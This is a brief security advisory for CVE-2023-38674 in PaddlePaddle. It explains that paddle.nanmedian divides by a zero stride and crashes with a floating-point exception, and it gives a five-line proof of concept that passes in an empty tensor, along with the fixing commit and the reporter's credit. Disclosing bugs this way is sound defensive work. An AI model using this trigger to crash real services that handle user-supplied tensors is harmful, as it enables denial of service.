CVE-2023-38674
When x dim calculates stride to 0, paddle.nanmedian triggers FPE by numel / stride. The PoC is as follows:
import paddle
import numpy as np
x = np.random.uniform(0,0,[0,0,0,0,0]).astype(np.float32)
x = paddle.to_tensor(x)
paddle.nanmedian(x)We have patched the issue in commit 9bb6c669206c4bcc3ce3f6daf8a55650e190c1a1. The fix will be included in PaddlePaddle 2.6.0.
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This vulnerability has been reported by Tong Liu of ShanghaiTech University.